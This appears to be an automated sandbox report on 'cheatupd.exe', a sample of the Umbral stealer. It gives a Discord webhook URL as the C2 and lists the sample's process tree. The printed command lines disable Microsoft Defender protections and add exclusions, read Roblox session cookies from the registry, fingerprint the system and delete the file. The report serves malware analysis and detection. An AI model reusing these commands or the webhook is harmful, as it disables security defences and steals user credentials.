Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250619-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/10/2025, 08:33

General

  • Target
    cheatupd.exe
  • Size 3.8MB
  • Sample251016-kf5ngseq31
  • SHA256 5a4eaf32d0659b7901cf0c8414447abf7729f191ee9117afdabbb67d10367f27
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • umbral

Version
  • v1.3

C2
  • https://discord.com/api/webhooks/1427743406863679569/hLCDYDCHNZUWCjL-zXW8URDpd2uw5mUrqLR7utdIoMvaskMgdzVlJvBujZ4cuAvXZi5g

Signatures

  • Detects Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an open-source modular stealer written in C#.

  • Umbral family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cheatupd.exe
    "C:\Users\Admin\AppData\Local\Temp\cheatupd.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3500
    • C:\Windows\SysWOW64\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\cheatupd.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Views/modifies file attributes
      PID:3676
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cheatupd.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4800
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      • Disables automatic submission of suspicious files to Microsoft by Windows Defender
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3264
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4520
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3172
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1104
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2440
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2744
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:3756
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      2⤵
      • System Location Discovery: System Language Discovery
      • Detects videocard installed
      PID:4904
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\cheatupd.exe" && pause
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:3388
      • C:\Windows\SysWOW64\PING.EXE
        ping localhost
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1956

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 a718223da565ec5140c2dfa26e6dab1d8c31472449dcf79a23780d32ff957a61
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 1290c38d346c3c0fb77729621aaa2afde8b1754f5f981cb803c8108b4fff5087
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 f8f398719643c89b51c97e4f7876a6986f133e23e2916853478e395f414bde4f
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 15KB
        • SHA256 82db0dcf860a1f42b50e7030273f9248b19ddbec9fe429f9b49496d0cec6b061
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_bj3wxfbe.cqz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bj3wxfbe.cqz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3172-95-0x0000000005740000-0x0000000005A94000-memory.dmp

        memory/3264-60-0x0000000006210000-0x0000000006564000-memory.dmp

        memory/3500-25-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/3500-107-0x0000000007230000-0x000000000723A000-memory.dmp

        memory/3500-11-0x00000000053F0000-0x0000000005482000-memory.dmp

        memory/3500-12-0x0000000005490000-0x0000000005A34000-memory.dmp

        memory/3500-13-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-127-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/3500-128-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-1-0x0000000075CD0000-0x0000000075CD1000-memory.dmp

        memory/3500-0-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/3500-9-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/3500-7-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-2-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-6-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-111-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-108-0x0000000007460000-0x0000000007472000-memory.dmp

        memory/3500-10-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/3500-31-0x0000000075CD0000-0x0000000075CD1000-memory.dmp

        memory/3500-32-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-104-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-4-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-5-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-69-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-44-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-72-0x0000000006DE0000-0x0000000006E56000-memory.dmp

        memory/3500-3-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/3500-73-0x0000000006E70000-0x0000000006EC0000-memory.dmp

        memory/3500-74-0x0000000007060000-0x000000000707E000-memory.dmp

        memory/3756-119-0x00000000057F0000-0x0000000005B44000-memory.dmp

        memory/3756-121-0x0000000005ED0000-0x0000000005F1C000-memory.dmp

        memory/4520-88-0x0000000005870000-0x0000000005BC4000-memory.dmp

        memory/4520-92-0x00000000062A0000-0x00000000062EC000-memory.dmp

        memory/4520-93-0x0000000006460000-0x0000000006482000-memory.dmp

        memory/4800-18-0x00000000054F0000-0x0000000005556000-memory.dmp

        memory/4800-55-0x0000000007180000-0x0000000007188000-memory.dmp

        memory/4800-58-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/4800-54-0x00000000071A0000-0x00000000071BA000-memory.dmp

        memory/4800-53-0x00000000070A0000-0x00000000070B4000-memory.dmp

        memory/4800-52-0x0000000007090000-0x000000000709E000-memory.dmp

        memory/4800-51-0x0000000007060000-0x0000000007071000-memory.dmp

        memory/4800-50-0x00000000070E0000-0x0000000007176000-memory.dmp

        memory/4800-49-0x0000000006EE0000-0x0000000006EEA000-memory.dmp

        memory/4800-47-0x00000000074B0000-0x0000000007B2A000-memory.dmp

        memory/4800-48-0x0000000006E60000-0x0000000006E7A000-memory.dmp

        memory/4800-46-0x0000000006D40000-0x0000000006DE3000-memory.dmp

        memory/4800-45-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/4800-43-0x00000000060E0000-0x00000000060FE000-memory.dmp

        memory/4800-35-0x000000006FEE0000-0x000000006FF2C000-memory.dmp

        memory/4800-34-0x0000000006B00000-0x0000000006B32000-memory.dmp

        memory/4800-33-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/4800-30-0x0000000005BE0000-0x0000000005C2C000-memory.dmp

        memory/4800-29-0x0000000005B40000-0x0000000005B5E000-memory.dmp

        memory/4800-24-0x0000000005560000-0x00000000058B4000-memory.dmp

        memory/4800-26-0x0000000075CB0000-0x0000000075DA0000-memory.dmp

        memory/4800-17-0x0000000005480000-0x00000000054E6000-memory.dmp

        memory/4800-16-0x0000000004D70000-0x0000000004D92000-memory.dmp

        memory/4800-15-0x0000000004E50000-0x0000000005478000-memory.dmp

        memory/4800-14-0x0000000002230000-0x0000000002266000-memory.dmp